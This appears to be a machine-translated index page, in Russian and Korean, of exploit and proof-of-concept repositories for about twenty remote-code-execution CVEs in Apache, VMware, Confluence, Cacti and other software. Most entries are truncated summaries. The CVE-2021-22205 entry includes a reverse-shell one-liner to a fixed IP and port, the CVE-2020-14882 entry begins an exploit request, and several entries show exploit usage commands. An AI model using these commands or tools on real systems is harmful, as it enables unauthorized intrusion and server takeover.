CVE-2024-5452

CVE-2024-5452 01. Обзор RCE и pytorch-lightning 1 Обзор RCE и pytorch-lightning RCE Remote Code Execution — это уязвимость, позволяющая злоумышленнику удаленно выполнять произвольный код в системе или приложении, и относится к CWE-94: Improper Control of Generation of Code 'Code Injection'...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ и OpenWire 1 Обзор Apache ActiveMQ и OpenWire ActiveMQ — это брокер, поддерживающий JMS и позволяющий осуществлять связь между системами, использующими не только Java, но и различные другие языки. Кроме того, это сервер с открытым исходным кодом для обмена...

CVE-2021-21985_PoC

Детали уязвимости VMWARE VCENTER SERVER VIRTUAL SAN HEALTH CHECK PLUG-IN RCE CVE-2021-21985 Клиент vSphere HTML5 содержит уязвимость удаленного выполнения кода в плагине vCenter Server. Злоумышленник, имеющий сетевой доступ к порту 443, может использовать эту проблему для выполнения команд с...

CVE-2021-41773

CVE-2021-41773 Использование root@kitploit: docker-compose up -d --build vuln-server-no-cgid python no-cgid/exploit.py root@kitploit: docker-compose up -d --build vuln-server-cgid-sh python cgid-sh/exploit.py Что такое CVE-2021-41773? CVE-2021-41773 Уязвимость directory traversal в Apache HTTP...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169는 네트워크 모니터링 및 관리 소프트웨어인 Cacti에서 발견된 보안 취약점입니다. 이 취약점은 공격자가 특별히 조작된 HTTP 요청을 전송하여 인증 없이 원격으로 시스템을 악용할 수 있도록 합니다. 이 취약점을 이용하면 공격자는 대상 시스템에서 임의의 시스템 명령을 실행할 수 있습니다. 이는 권한이 없는 개인이 영향을 받은 시스템을 제어하고 상승된 권한으로 악의적인 활동을 수행할 수 있게 하므로 심각한 위험을 초래합니다. 이 취약점은 remoteagent.php에 존재합니다...

CVE-2024-4323-Exploit-POC

CVE-2024-4323-Exploit-POC Этот proof-of-concept скрипт демонстрирует, как использовать CVE-2024-4323, уязвимость повреждения памяти в Fluent Bit, позволяющую удалённое выполнение кода. CVE-2024-4323 — это уязвимость повреждения памяти в Fluent Bit версиях с 2.0.7 по 3.0.3. Проблема заключается в...

cve-2021-21972

cve-2021-21972 Инструкция по использованию python3 python poc.py -u target -s webshell/ssh webshell поддерживает только версию vecter 6.5, ssh поддерживает все версии, этот PoC предназначен только для Linux...

CVE-2019-9978

CVE-2019-9978 - Удаленное выполнение кода в плагине Social Warfare для WordPress версии ниже 3.5.3 Удаленное выполнение кода в плагине Social Warfare для WordPress версии ниже 3.5.3. Данный PoC не требует запуска дополнительного HTTP-сервера. Просто укажите ваш локальный IP и желаемый порт, и...

CVE-2023-34039

CVE-2023-34039 POC для CVE-2023-34039: VMWare Aria Operations for Networks vRealize Network Insight RCE со статическим SSH-ключом Технический анализ Анализ первопричины уязвимости можно найти в моём блоге: https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/ Краткое...

CVE-2016-3088

CVE-2016-3088 - Удаленное выполнение кода в Apache ActiveMQ...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell Тестовая версия Создание команды для эксплуатации уязвимости root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Создание изображения для эксплуатации с помощью djvumake root@kitploit:...

CVE-2022-26134

CVE-2022-26134 PoC Confluence Server 및 Data Center - CVE-2022-26134 - 중요Critical 심각도의 인증되지 않은 원격 코드 실행 취약점 PoC 심각도 Atlassian은 자체 심각도 수준 척도에 따라 이 취약점의 심각도를 중요Critical로 평가합니다. 위에 나열된 수정된 버전 이전의 모든 Confluence Server 및 Data Center 버전이 이 취약점의 영향을 받습니다. 수정된 버전 릴리스된 버전 7.4.17, 7.13.7, 7.14.3, 7.15.2,...

CVE-2020-1350-Fix

KB4569509: Рекомендации по уязвимости DNS-сервера CVE-2020-1350 Введение 14 июля 2020 года Microsoft выпустила обновление для системы безопасности, устраняющее проблему, описанную в CVE-2020-1350 | Уязвимость удаленного выполнения кода в Windows DNS Server. В этом бюллетене описывается критическа...

CVE-2020-14882

CVE-2020-14882 coherence shellsession calc.exe root@kitploit: import requests url = 'http://:/console/images/%252E%252E%252Fconsole.portal' \ '?nfpb=true&pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession' ...

CVE-2022-45701

KO 이 프로젝트는 일부 Arris 라우터에서 원격 코드 실행RCE 취약점CVE-2022-45701을 악용하는 Python 스크립트를 제공합니다. 이 취약점은 인증된 사용자가 웹 인터페이스를 통해 SNMP 설정을 조작하여 장치에서 임의의 명령을 실행할 수 있도록 합니다. 면책 조항 : 이 도구는 교육 목적 및 윤리적인 보안 테스트 전용입니다. 이 스크립트의 무단 사용은 불법이며 비윤리적입니다. 특징 CVE-2022-45701을 악용하여 원격 코드 실행. SNMP 조작을 통해 라우터 보안 우회. Arris 모델 TG2482A,...

CVE-2021-41773-RCE

CVE-2021-41773-RCE...

cve-2019-0227

cve-2019-0227 Уязвимость удаленного выполнения кода в Apache Axis 1.4 Необходимо настроить listener в msf на локальной машине, а также изменить строки 24-30 в коде ＃Вам нужно изменить эти переменные в соответствии с вашей конфигурацией myip = “ 192.168.0.117 ” ＃IP-адрес вашей машины target = “...

Microsoft-CVE-2022-26809-The-Little-Boy

Microsoft-CVE-2022-26809-일명 The Little Boy - POC The CVE-2022-26809 RPC를 통한 RCE용 poc는 여기에 업데이트될 것입니다. 우리는 취약한 코드를 식별하고 가장 간단한 원클릭 RCE를 여기에 공유하는 과정에 있습니다...

CVE-2022-22954

CVE-2022-22954 PoC VMware Workspace ONE Access 및 Identity Manager에서 SSTI를 통한 RCE. CVE-2022-22954 - PoC SSTI 사용법: root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file |...

FreePBX-CVE-2025-57819-CVE-2025-61678

FreePBX-CVE-2025-57819-CVE-2025-61678 CVE-2025-57819스택 쿼리 SQL 인젝션과 CVE-2025-61678FreePBX Endpoint Manager의 인증된 파일 업로드를 연쇄적으로 사용하여 원격 코드 실행RCE을 달성합니다. 교육 목적으로만 사용하십시오. 참조: https://www.picussecurity.com/resource/blog/critical-freepbx-vulnerabilities-cve-2025-66039-cve-2025-61675-cve-2025-61675...